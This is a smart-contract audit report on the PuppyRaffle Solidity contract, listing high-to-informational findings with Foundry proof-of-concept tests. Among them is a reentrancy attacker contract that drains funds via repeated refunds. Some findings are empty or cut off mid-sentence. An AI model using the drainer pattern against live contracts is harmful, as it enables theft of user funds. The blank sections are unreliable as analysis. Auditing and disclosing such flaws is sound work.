Protocol PuppyRaffle Audit Report

Version 1.0

Mr. Cryptohack

February 22, 2024

Protocol Audit Report

Mr. Cryptohack

February 22, 2024

Prepared by: Mr.Cryptohack

Lead Auditors: - Mr. Cryptohack

Table of Contents

    * [M-2] Unsafe cast of `PuppyRaffle::fee` losses fee
    * [M-3] Smart contract wallet raffle winners without a `receive` and `fallback` function will block a start new contest.

- Low
  - [L-1] `PuppyRaffle::getActivePlayerIndex` return 0 for non-existent players or players with index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.
  - Gas Optimization / Non-Critical
    * [G-1] Unchanged state variables should be declared constant or immutable.
    * [G-2] Storage variables in a loop should be cashed.
  - Informational / Non-Critical
    * [I-1] Solidity pragma should be specific, not wide
    * [I-2] Floating pragmas
    * [I-3]: Missing checks for `address(0)` when assigning values to address state variables
    * [I-4] Use magic numbers is discouraged.
    * [I-5] Function `PuppyRaffle::_isActivePlayer` is not used and should be removed.

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Mr. CryptoHack team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the

team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- Solc Version: 0.7.6
- Chain(s) to deploy contract to: Ethereum

Scope

```
./src/
PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function. # Executive Summary ## Issues found

Severity	Number of issues found
High	3
Medium	3
Low	1
Gas	1
Info	5
Total	13

Findings

High

[H-1] Denial of service attack, it may lead to the blocking of the contract

Description: The vulnerability occurs due to an increase in the array and rechecking for a duplicate in the implementation of the function `PuppyRaffleTest::enterRaffle`.

Impact: An attacker can take advantage of this vulnerability and make it impossible to participate in the lottery, due to the huge cost of gas in the transaction.

Proof of Concept:

For confirmation, I have developed a PoC

```
function testCanEnterRaffleIsDos() public {
        vm.txGasPrice(1);
        uint256 playersNum = 100;

        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}(
            players);
        uint256 gasEnd = gasleft();
        uint256 gasUseedFirst = (gasStart - gasEnd) * tx.gasprice;
        console2.log("Gas cost First 100 players: %s", gasUseedFirst);

        address[] memory playersSecond = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
```

```
17              playersSecond[i] = address(i + playersNum);
18          }
19          uint256 gasStartTwo = gasleft();
20          puppyRaffle.enterRaffle{value: entranceFee * players.length}(
21              playersSecond
22          );
23          uint256 gasEndTwo = gasleft();
24          uint256 gasUseedSecond = (gasStartTwo - gasEndTwo) * tx.
                gasprice;
25          console2.log("Gas cost Second 100 players: %s", gasUseedSecond)
                ;
26
27          assert(gasUseedSecond > gasUseedFirst);
28      }
```

Recommended Mitigation: Code refactoring is required, which requires getting rid of the loop. And make a limit on the length of the array.

[H-2] Reentrancy Attack

Description: The vulnerability occurs when the `PuppyRaffle::refund` function is incorrectly implemented due to not following the CEI development pattern

Impact: An attacker can create a malicious attack contract and withdraw all funds from the contract `PuppyRaffle.sol`

Proof of Concept:

For confirmation, I have developed a PoC

```
1       // Test function
2       function testCanGetReentrancy() public playersEntered {
3           ReetrancyAttacker attackerContract = new ReetrancyAttacker(
                puppyRaffle);
4
5
6           address attackUser = makeAddr("attackUser");
7           vm.deal(attackUser, 1 ether);
8
9           uint256 startBalanceMainContract = address(puppyRaffle).balance
                ;
10          uint256 startAttackerBalanceContract = address(attackerContract
                ).balance;
11          console.log("Starting Balance Contract:  ",
                startBalanceMainContract);
12          console.log("Start Attacker Balance Contract: ",
                startAttackerBalanceContract);
13
14          vm.prank(attackUser);
```

```
15
16          attackerContract.attack{value: entranceFee}();
17
18          uint256 endBalanceMainContract = address(puppyRaffle).balance;
19          uint256 endAttackerBalanceContract = address(attackerContract).
                balance;
20          console.log("End Balance Contract:  ", endBalanceMainContract);
21          console.log("End Attacker Balance Contract: ",
                endAttackerBalanceContract);
22
23      }
24
25      // Contract Attack
26
27      contract ReetrancyAttacker {
28      PuppyRaffle puppyRaffle;
29      uint256 entrencyFee;
30      uint256 attackerIndex;
31
32
33      constructor(PuppyRaffle _puppyRaffle) {
34          puppyRaffle = _puppyRaffle;
35          entrencyFee = puppyRaffle.entranceFee();
36      }
37
38      function attack() public payable {
39
40          address[] memory playersAttack = new address[](1);
41          playersAttack[0] = address(this);
42          puppyRaffle.enterRaffle{value: entrencyFee}(playersAttack);
43
44          attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
                ;
45          puppyRaffle.refund(attackerIndex);
46      }
47
48      function _steal_money() private {
49          if (address(puppyRaffle).balance >= entrencyFee) {
50              puppyRaffle.refund(attackerIndex);
51          }
52      }
53
54      receive() external payable {
55          _steal_money();
56      }
57
58      fallback() external payable {
59          _steal_money();
60      }
61  }
```

Recommended Mitigation: Code refactoring is required.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(
            playerAddress == msg.sender,
            "PuppyRaffle: Only the player can refund"
        );
        require(
            playerAddress != address(0),
            "PuppyRaffle: Player already refunded, or is not active"
        );

        players[playerIndex] = address(0);

        payable(msg.sender).sendValue(entranceFee);
        emit RaffleRefunded(playerAddress);
    }
```

[H-3] Arithmetic overflow

Description: The vulnerability occurs when using the `PuppyRaffle::selectWinner` function due to the use of the old version (0.7.6) of Solidity

Impact:

This vulnerability can lead to a completely incorrect calculation of the reward!

Proof of Concept:

For confirmation, I have developed a PoC

```
    function testOverflow() public playersEntered {
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        puppyRaffle.selectWinner();
        uint256 startTotalFee = puppyRaffle.totalFees();
        console.log("startTotalFee:", startTotalFee);


        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        uint256 countPlayers = 89;
        address[] memory newPlayers = new address[](countPlayers);

        for (uint256 i = 0;i < countPlayers; i++) {
            newPlayers[i] = address(i);
        }
```

```
19
20          puppyRaffle.enterRaffle{value: entranceFee * countPlayers}(
                newPlayers);
21
22          puppyRaffle.selectWinner();
23          uint256 endTotalFee = puppyRaffle.totalFees();
24          console.log("endTotalFee:", endTotalFee);
25          assert(endTotalFee < startTotalFee);
26      }
```

Recommended Mitigation: Code refactoring is required. Use the more recent version of Solidity 0.8.20, or use SafeMath Library.

Medium

[M-1] Week Randomness in `PuppyRaffle::selectWinner` allows users influence or predict the winner and influence or predict the puppy.

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` together creates a predictable number. A predictible number is a not good random number. Malisious users can manipulate the

Impact: Any user can influence the winner of raffle, winning money and selected the `rarest` puppy.

Proof of Concept: There are a few attack vectors here.

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that knowledge to predict when / how to participate. See the solidity blog on prevrando here. `block.difficulty` was recently replaced with prevrandao.
2. Users can manipulate the `msg.sender` value to result in their index being the winner. Using on-chain values as a randomness seed is a well-known attack vector in the blockchain space.

Recommended Mitigation:

Use chainlink VRF for generating random numbers.

[M-2] Unsafe cast of `PuppyRaffle::fee` losses fee

Description:

Impact:

This vulnerability can lead to a completely incorrect calculation of the reward!

Proof of Concept:

Recommended Mitigation: Code refactoring is required. Use the more recent version of Solidity 0.8.20, or use SafeMath Library.

[M-3] Smart contract wallet raffle winners without a `receive` and `fallback` function will block a start new contest.

Description: The `PuppyRaffle::selectWinner` function is responsible for ressetting the lottery. However,if the winner is a smart contract wallet that reject payment, the lottery would not be able to start.

Impact: The PuppyRaffle::selectWinner function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept:

1. 10 smart contract wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: 1. Do not allow smart contract wallet entrants (not recommended) 2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` return 0 for non-existent players or players with index 0, causing a player at index 0 to incorrectly think they have not entered the raffle.

Description:

```
    function getActivePlayerIndex(
        address player
    ) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 to incorrectly think they have not entered the raffle, and append to enter the raffle again.

Proof of Concept:

Recommended Mitigation:

Gas Optimization / Non-Critical

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from the storage more expensive than reading from constant or immutable variables.

Instances:

- `PuppyRaffle::raffleDuration` should be immutable
- `PuppyRaffle::commonImageUri` should be constant
- `PuppyRaffle::rareImageUri`should be constant
- `PuppyRaffle::legendaryImageUri`should be constant

[G-2] Storage variables in a loop should be cashed.

Every time you call `players.length` you read from storage, as opposed to memory which is more gas effective.

```
1
2  +     uint256 playersLenght = players.length;
3  -     for (uint256 i = 0; i < players.length - 1; i++) {
4  +     for (uint256 i = 0; i < playersLenght - 1; i++) {
5  -           for (uint256 j = i + 1; j < players.length; j++) {
6  +           for (uint256 j = i + 1; j < playersLenght; j++) {
7                 require(
8                     players[i] != players[j],
9                     "PuppyRaffle: Duplicate player"
10                );
11            }
12        }
```

Informational / Non-Critical

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of a wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

- Found in src/PuppyRaffle.sol: Line: 2

[I-2] Floating pragmas

Description: Contracts should use strict versions of solidity. Locking the version ensures that contracts are not deployed with a different version of solidity than they were tested with. An incorrect version could lead to uninteded results.

https://swcregistry.io/docs/SWC-103/

Recommended Mitigation: Lock up pragma versions.

```
- pragma solidity ^0.7.6;
+ pragma solidity 0.7.6;
```

[I-3]: Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol: Line: 71
- Found in src/PuppyRaffle.sol: Line: 192
- Found in src/PuppyRaffle.sol: Line: 217

[I-4] Use magic numbers is discouraged.

It can be confusing to see number literals in a codebase, and it's much more readable if the nubmers are given a name.

```
    uint256 prizePool = (totalAmountCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead use the following:

```
    uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
    uint256 public constant FEE_PERCENTAGE = 20;
    uint256 public constant POOL_PRECISION = 100
```

[I-5] Function `PuppyRaffle::_isActivePlayer` is not used and should be removed.